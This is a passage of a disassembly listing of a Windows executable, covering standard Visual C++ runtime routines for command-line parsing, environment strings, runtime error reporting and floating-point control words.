		cmp	byte ptr [eax],	22h
		jnz	short loc_416567
		test	bl, 1
		jnz	short loc_416565
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_416554
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_416554
		mov	eax, edx
		jmp	short loc_416557
; ---------------------------------------------------------------------------


loc_416554:				; CODE XREF: sub_416438+10Dj
					; sub_416438+116j
		mov	[ebp+arg_0], edi


loc_416557:				; CODE XREF: sub_416438+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_416565:				; CODE XREF: sub_416438+106j
		shr	ebx, 1


loc_416567:				; CODE XREF: sub_416438+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41657C
		inc	ebx


loc_41656F:				; CODE XREF: sub_416438+142j
		test	esi, esi
		jz	short loc_416577
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_416577:				; CODE XREF: sub_416438+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41656F


loc_41657C:				; CODE XREF: sub_416438+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4165CC
		cmp	[ebp+arg_10], 0
		jnz	short loc_416592
		cmp	dl, 20h
		jz	short loc_4165CC
		cmp	dl, 9
		jz	short loc_4165CC


loc_416592:				; CODE XREF: sub_416438+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4165C6
		test	esi, esi
		jz	short loc_4165B5
		movzx	ebx, dl
		test	byte_4BB6A1[ebx], 4
		jz	short loc_4165AE
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_4165AE:				; CODE XREF: sub_416438+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4165C4
; ---------------------------------------------------------------------------


loc_4165B5:				; CODE XREF: sub_416438+162j
		movzx	edx, dl
		test	byte_4BB6A1[edx], 4
		jz	short loc_4165C4
		inc	eax
		inc	dword ptr [ecx]


loc_4165C4:				; CODE XREF: sub_416438+17Bj
					; sub_416438+187j
		inc	dword ptr [ecx]


loc_4165C6:				; CODE XREF: sub_416438+15Ej
		inc	eax
		jmp	loc_416524
; ---------------------------------------------------------------------------


loc_4165CC:				; CODE XREF: sub_416438+148j
					; sub_416438+153j ...
		test	esi, esi
		jz	short loc_4165D4
		and	byte ptr [esi],	0
		inc	esi


loc_4165D4:				; CODE XREF: sub_416438+196j
		inc	dword ptr [ecx]
		jmp	loc_4164F2
; ---------------------------------------------------------------------------


loc_4165DB:				; CODE XREF: sub_416438+BDj
					; sub_416438+D5j
		test	edi, edi
		jz	short loc_4165E2
		and	dword ptr [edi], 0


loc_4165E2:				; CODE XREF: sub_416438+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_416438	endp


; =============== S U B	R O U T	I N E =======================================



sub_4165EC	proc near		; CODE XREF: sub_410B5C+7Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_4BA438
		push	ebx
		push	ebp
		mov	ebp, dword_41A030
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41663A
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41661B
		mov	dword_4BA438, 1
		jmp	short loc_416643
; ---------------------------------------------------------------------------


loc_41661B:				; CODE XREF: sub_4165EC+21j
		call	dword_41A034	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_416715
		mov	dword_4BA438, 2
		jmp	loc_4166C9
; ---------------------------------------------------------------------------


loc_41663A:				; CODE XREF: sub_4165EC+19j
		cmp	eax, 1
		jnz	loc_4166C4


loc_416643:				; CODE XREF: sub_4165EC+2Dj
		cmp	esi, ebx
		jnz	short loc_416653
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_416715


loc_416653:				; CODE XREF: sub_4165EC+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_416668


loc_41665A:				; CODE XREF: sub_4165EC+73j
					; sub_4165EC+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41665A
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41665A


loc_416668:				; CODE XREF: sub_4165EC+6Cj
		sub	eax, esi
		mov	edi, dword_41A058
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_4166B9
		push	ebp
		call	sub_40E882
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_4166B9
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_4166B5
		push	[esp+18h+var_8]
		call	sub_40ECAF
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_4166B5:				; CODE XREF: sub_4165EC+B9j
		mov	ebx, [esp+18h+var_8]


loc_4166B9:				; CODE XREF: sub_4165EC+99j
					; sub_4165EC+A8j
		push	esi
		call	dword_41A038	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_416717
; ---------------------------------------------------------------------------


loc_4166C4:				; CODE XREF: sub_4165EC+51j
		cmp	eax, 2
		jnz	short loc_416715


loc_4166C9:				; CODE XREF: sub_4165EC+49j
		cmp	edi, ebx
		jnz	short loc_4166D9
		call	dword_41A034	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_416715


loc_4166D9:				; CODE XREF: sub_4165EC+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4166E9


loc_4166DF:				; CODE XREF: sub_4165EC+F6j
					; sub_4165EC+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4166DF
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4166DF


loc_4166E9:				; CODE XREF: sub_4165EC+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_40E882
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4166FF
		xor	esi, esi
		jmp	short loc_41670A
; ---------------------------------------------------------------------------


loc_4166FF:				; CODE XREF: sub_4165EC+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_40E940
		add	esp, 0Ch


loc_41670A:				; CODE XREF: sub_4165EC+111j
		push	edi
		call	dword_41A03C	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_416717
; ---------------------------------------------------------------------------


loc_416715:				; CODE XREF: sub_4165EC+39j
					; sub_4165EC+61j ...
		xor	eax, eax


loc_416717:				; CODE XREF: sub_4165EC+D6j
					; sub_4165EC+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_4165EC	endp

; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416728	proc near		; DATA XREF: sub_410B5C+Ao
					; sub_413A57+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_4167C8
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41675B:				; CODE XREF: sub_416728+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4167C1
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_4167AF
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_4167AF
		js	short loc_4167BA
		mov	edi, [ebx+8]
		push	ebx
		call	sub_40F360
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_40F3A2
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_40F436
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_4167AF:				; CODE XREF: sub_416728+40j
					; sub_416728+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41675B
; ---------------------------------------------------------------------------


loc_4167BA:				; CODE XREF: sub_416728+54j
		mov	eax, 0
		jmp	short loc_4167DD
; ---------------------------------------------------------------------------


loc_4167C1:				; CODE XREF: sub_416728+36j
		mov	eax, 1
		jmp	short loc_4167DD
; ---------------------------------------------------------------------------


loc_4167C8:				; CODE XREF: sub_416728+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_40F3A2
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_4167DD:				; CODE XREF: sub_416728+97j
					; sub_416728+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_416728	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_40F3A2
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_416800	proc near		; CODE XREF: sub_410C52+9p
					; sub_410C77+9p
		mov	eax, dword_4BA2D8
		cmp	eax, 1
		jz	short loc_416817
		test	eax, eax
		jnz	short locret_416838
		cmp	dword_422094, 1
		jnz	short locret_416838


loc_416817:				; CODE XREF: sub_416800+8j
		push	0FCh
		call	sub_416839
		mov	eax, dword_4BA43C
		pop	ecx
		test	eax, eax
		jz	short loc_41682D
		call	eax


loc_41682D:				; CODE XREF: sub_416800+29j
		push	0FFh
		call	sub_416839
		pop	ecx

locret_416838:				; CODE XREF: sub_416800+Cj
					; sub_416800+15j
		retn
sub_416800	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416839	proc near		; CODE XREF: sub_410C52+12p
					; sub_410C77+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_4245C8


loc_41684C:				; CODE XREF: sub_416839+20j
		cmp	edx, [eax]
		jz	short loc_41685B
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_424658
		jl	short loc_41684C


loc_41685B:				; CODE XREF: sub_416839+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_4245C8[esi]
		jnz	loc_416989
		mov	eax, dword_4BA2D8
		cmp	eax, 1
		jz	loc_416963
		test	eax, eax
		jnz	short loc_41688C
		cmp	dword_422094, 1
		jz	loc_416963


loc_41688C:				; CODE XREF: sub_416839+44j
		cmp	edx, 0FCh
		jz	loc_416989
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	dword_41A078	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_4168C3
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_40ED20
		pop	ecx
		pop	ecx


loc_4168C3:				; CODE XREF: sub_416839+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_40E730
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_416906
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40E730
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_410090
		add	esp, 10h


loc_416906:				; CODE XREF: sub_416839+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_40ED20
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_40ED30
		lea	eax, [ebp+var_A0]
		push	offset asc_41A7D4 ; "\n\n"
		push	eax
		call	sub_40ED30
		push	off_4245CC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_40ED30
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_418081
		add	esp, 2Ch
		pop	edi
		jmp	short loc_416989
; ---------------------------------------------------------------------------


loc_416963:				; CODE XREF: sub_416839+3Cj
					; sub_416839+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_4245CC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_40E730
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_41A16C	; GetStdHandle
		push	eax
		call	dword_41A06C	; WriteFile


loc_416989:				; CODE XREF: sub_416839+2Ej
					; sub_416839+59j ...
		pop	esi
		leave
		retn
sub_416839	endp


; =============== S U B	R O U T	I N E =======================================



sub_41698C	proc near		; CODE XREF: sub_410C9B+6Cp
					; sub_4150E6+32p ...

arg_0		= dword	ptr  4

		inc	dword_4BA440
		push	1000h
		call	sub_40E882
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_4169B5
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_4169C6
; ---------------------------------------------------------------------------


loc_4169B5:				; CODE XREF: sub_41698C+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_4169C6:				; CODE XREF: sub_41698C+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41698C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169D0	proc near		; CODE XREF: sub_410C9B+61p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4BB8C0
		jb	short loc_4169DF
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4169DF:				; CODE XREF: sub_4169D0+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4BB7C0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_4169D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169F6	proc near		; DATA XREF: .packed:0041C018o
		mov	eax, dword_4BB580
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_416A0A
		mov	eax, 200h
		jmp	short loc_416A10
; ---------------------------------------------------------------------------


loc_416A0A:				; CODE XREF: sub_4169F6+Bj
		cmp	eax, esi
		jge	short loc_416A15
		mov	eax, esi


loc_416A10:				; CODE XREF: sub_4169F6+12j
		mov	dword_4BB580, eax


loc_416A15:				; CODE XREF: sub_4169F6+16j
		push	4
		push	eax
		call	sub_41810A
		pop	ecx
		mov	dword_4BA570, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_416A49
		push	4
		push	esi
		mov	dword_4BB580, esi
		call	sub_41810A
		pop	ecx
		mov	dword_4BA570, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_416A49
		push	1Ah
		call	sub_410C52
		pop	ecx


loc_416A49:				; CODE XREF: sub_4169F6+30j
					; sub_4169F6+49j
		xor	ecx, ecx
		mov	eax, offset off_424658


loc_416A50:				; CODE XREF: sub_4169F6+6Ej
		mov	edx, dword_4BA570
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_4248D8
		jl	short loc_416A50
		xor	edx, edx
		mov	ecx, offset dword_424668


loc_416A6D:				; CODE XREF: sub_4169F6+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4BB7C0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416A8A
		test	eax, eax
		jnz	short loc_416A8D


loc_416A8A:				; CODE XREF: sub_4169F6+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_416A8D:				; CODE XREF: sub_4169F6+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_4246C8
		jl	short loc_416A6D
		pop	esi
		retn
sub_4169F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_416A9B	proc near		; DATA XREF: .packed:0041C028o

; FUNCTION CHUNK AT 004181BB SIZE 00000058 BYTES

		call	sub_415070
		cmp	byte_4BA2C4, 0
		jz	short locret_416AAE
		jmp	loc_4181BB
; ---------------------------------------------------------------------------

locret_416AAE:				; CODE XREF: sub_416A9B+Cj
		retn
sub_416A9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416AAF	proc near		; CODE XREF: sub_410DB0+2D4p
					; sub_410DB0+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_416ABB
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_416ABB:				; CODE XREF: sub_416AAF+8j
		cmp	dword_4BA314, 0
		jnz	short loc_416AD6
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_416B08
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_416AD6:				; CODE XREF: sub_416AAF+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_424430
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4BA324
		call	dword_41A058	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_416B08
		cmp	[ebp+arg_0], 0
		jz	short loc_416B15


loc_416B08:				; CODE XREF: sub_416AAF+1Ej
					; sub_416AAF+51j
		mov	dword_4BA284, 2Ah
		or	eax, 0FFFFFFFFh


loc_416B15:				; CODE XREF: sub_416AAF+57j
		pop	ebp
		retn
sub_416AAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_416B17	proc near		; CODE XREF: sub_412F70+52p
		xor	eax, eax
		retn
sub_416B17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B1A	proc near		; CODE XREF: sub_416B4F+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_416B65
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_416BF7
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_416B1A	endp


; =============== S U B	R O U T	I N E =======================================



sub_416B4F	proc near		; CODE XREF: sub_41325C+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_416B1A
		pop	ecx
		pop	ecx
		retn
sub_416B4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_416B65	proc near		; CODE XREF: sub_416B1A+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_416B76
		push	10h
		pop	eax


loc_416B76:				; CODE XREF: sub_416B65+Cj
		test	bl, 4
		jz	short loc_416B7D
		or	al, 8


loc_416B7D:				; CODE XREF: sub_416B65+14j
		test	bl, 8
		jz	short loc_416B84
		or	al, 4


loc_416B84:				; CODE XREF: sub_416B65+1Bj
		test	bl, 10h
		jz	short loc_416B8B
		or	al, 2


loc_416B8B:				; CODE XREF: sub_416B65+22j
		test	bl, 20h
		jz	short loc_416B92
		or	al, 1


loc_416B92:				; CODE XREF: sub_416B65+29j
		test	bl, 2
		jz	short loc_416B9C
		or	eax, 80000h


loc_416B9C:				; CODE XREF: sub_416B65+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_416BD4
		cmp	edx, 400h
		jz	short loc_416BD1
		cmp	edx, 800h
		jz	short loc_416BCD
		cmp	edx, esi
		jnz	short loc_416BD4
		or	eax, edi
		jmp	short loc_416BD4
; ---------------------------------------------------------------------------


loc_416BCD:				; CODE XREF: sub_416B65+5Ej
		or	eax, ebp
		jmp	short loc_416BD4
; ---------------------------------------------------------------------------


loc_416BD1:				; CODE XREF: sub_416B65+56j
		or	ah, 1


loc_416BD4:				; CODE XREF: sub_416B65+4Ej
					; sub_416B65+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_416BE4
		cmp	ecx, ebp
		jnz	short loc_416BE9
		or	eax, 10000h
		jmp	short loc_416BE9
; ---------------------------------------------------------------------------


loc_416BE4:				; CODE XREF: sub_416B65+72j
		or	eax, 20000h


loc_416BE9:				; CODE XREF: sub_416B65+76j
					; sub_416B65+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_416BF6
		or	eax, 40000h

locret_416BF6:				; CODE XREF: sub_416B65+8Aj
		retn
sub_416B65	endp


; =============== S U B	R O U T	I N E =======================================



sub_416BF7	proc near		; CODE XREF: sub_416B1A+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_416C07
		push	1
		pop	eax


loc_416C07:				; CODE XREF: sub_416BF7+Bj
		test	bl, 8
		jz	short loc_416C0E
		or	al, 4


loc_416C0E:				; CODE XREF: sub_416BF7+13j
		test	bl, 4
		jz	short loc_416C15
		or	al, 8


loc_416C15:				; CODE XREF: sub_416BF7+1Aj
		test	bl, 2
		jz	short loc_416C1C
		or	al, 10h


loc_416C1C:				; CODE XREF: sub_416BF7+21j
		test	bl, 1
		jz	short loc_416C23
		or	al, 20h


loc_416C23:				; CODE XREF: sub_416BF7+28j
		test	ebx, 80000h
		jz	short loc_416C2D
		or	al, 2


loc_416C2D:				; CODE XREF: sub_416BF7+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_416C5A
		cmp	ecx, 100h
		jz	short loc_416C57
		cmp	ecx, esi
		jz	short loc_416C52
		cmp	ecx, edx
		jnz	short loc_416C5A
		or	ah, 0Ch
		jmp	short loc_416C5A
; ---------------------------------------------------------------------------


loc_416C52:				; CODE XREF: sub_416BF7+50j
		or	ah, 8
		jmp	short loc_416C5A
; ---------------------------------------------------------------------------


loc_416C57:				; CODE XREF: sub_416BF7+4Cj
		or	ah, 4


loc_416C5A:				; CODE XREF: sub_416BF7+44j
					; sub_416BF7+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_416C70
		cmp	ecx, 10000h
		jnz	short loc_416C72
		or	eax, esi
		jmp	short loc_416C72
; ---------------------------------------------------------------------------


loc_416C70:				; CODE XREF: sub_416BF7+6Bj
		or	eax, edx


loc_416C72:				; CODE XREF: sub_416BF7+73j
					; sub_416BF7+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_416C7F
		or	ah, 10h

locret_416C7F:				; CODE XREF: sub_416BF7+83j
		retn
sub_416BF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_416C80	proc near		; CODE XREF: sub_416D1F+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_416CC5
		inc	esi
		cmp	esi, 3
		jge	short loc_416CC0
		lea	eax, [eax+esi*4]


loc_416CB2:				; CODE XREF: sub_416C80+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_416CC5
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_416CB2


loc_416CC0:				; CODE XREF: sub_416C80+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_416CC5:				; CODE XREF: sub_416C80+27j
					; sub_416C80+35j
		xor	eax, eax
		pop	esi
		retn
sub_416C80	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CC9	proc near		; CODE XREF: sub_416D1F+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_418213
		add	esp, 0Ch
		dec	esi
		js	short loc_416D1B
		lea	edi, [ebx+esi*4]


loc_416D02:				; CODE XREF: sub_416CC9+50j
		test	eax, eax
		jz	short loc_416D1B
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_418213
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_416D02


loc_416D1B:				; CODE XREF: sub_416CC9+34j
					; sub_416CC9+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_416CC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D1F	proc near		; CODE XREF: sub_416E7A+81p
					; sub_416E7A+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_416D83
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_416C80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_416D80
		push	edi
		push	[ebp+arg_0]
		call	sub_416CC9
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_416D80:				; CODE XREF: sub_416D1F+51j
		mov	eax, [ebp+arg_4]


loc_416D83:				; CODE XREF: sub_416D1F+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_416DA3
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_416DA3:				; CODE XREF: sub_416D1F+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416D1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_416DAB	proc near		; CODE XREF: sub_416E7A+75p
					; sub_416E7A+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_416DB9:				; CODE XREF: sub_416DAB+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_416DB9
		pop	esi
		retn
sub_416DAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416DC6	proc near		; CODE XREF: sub_416E7A+5Fp
					; sub_416E7A+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_416DC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_416DD2	proc near		; CODE XREF: sub_416E7A+4Dp

